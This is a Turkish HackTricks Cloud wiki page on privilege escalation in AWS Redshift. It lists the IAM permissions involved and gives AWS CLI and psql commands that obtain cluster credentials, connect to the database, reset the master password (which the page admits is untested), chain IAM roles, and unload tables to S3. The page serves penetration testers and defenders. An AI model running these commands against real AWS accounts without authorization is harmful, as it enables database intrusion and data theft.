AWS - Redshift Privesc

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.

Redshift

RDS hakkında daha fazla bilgi için kontrol edin:

AWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

Bu izinlerle tüm kümelerin bilgilerini (isim ve küme kullanıcı adı dahil) alabilir ve erişim için kimlik bilgilerini edinebilirsiniz:

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

Olası Etki: Veritabanlarında hassas bilgileri bulma.

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

Bu izinlerle tüm kümelerin bilgilerini alabilir ve erişim için kimlik bilgilerini edinebilirsiniz. Postgres kullanıcısının, kimlik bilgilerini almak için kullanılan IAM kimliğinin izinlerine sahip olacağını unutmayın.

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

Olası Etki: Veritabanlarının içinde hassas bilgileri bulmak.

redshift:DescribeClusters, redshift:ModifyCluster?

Aws cli üzerinden iç postgres (redshit) kullanıcısının ana şifresini değiştirmek mümkündür (bence ihtiyaç duyduğunuz izinler bunlar ama henüz test etmedim):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

Potansiyel Etki: Veritabanlarında hassas bilgileri bulmak.

Harici Servislere Erişim

Aşağıdaki tüm kaynaklara erişmek için kullanılacak rolü belirtmeniz gerekecek. Bir Redshift kümesi kullanabileceğiniz bir AWS rolü listesi atayabilir eğer ARN'yi biliyorsanız ya da sadece atanan varsayılanı kullanmak için "default" ayarlayabilirsiniz.

Ayrıca, burada açıklandığı gibi, Redshift, daha fazla erişim elde etmek için rollerin birleştirilmesine de izin verir (ilk rol ikinci rolü üstlenebiliyorsa) ancak sadece virgül ile ayırarak: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdas

https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html adresinde açıklandığı gibi, Redshift'ten bir lambda fonksiyonunu çağırmak mümkündür:

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html adresinde açıklandığı gibi, S3 bucket'larına okuma ve yazma yapmak mümkündür:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html adresinde açıklandığı gibi, dynamodb'den veri almak mümkündür:

copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

Veri sağlayan Amazon DynamoDB tablosu, Amazon DynamoDB tablosunun bulunduğu AWS Bölgesini belirtmek için REGION seçeneğini kullanmadığınız sürece, kümenizle aynı AWS Bölgesinde oluşturulmalıdır.

EMR

https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html adresini kontrol edin.

References

• https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.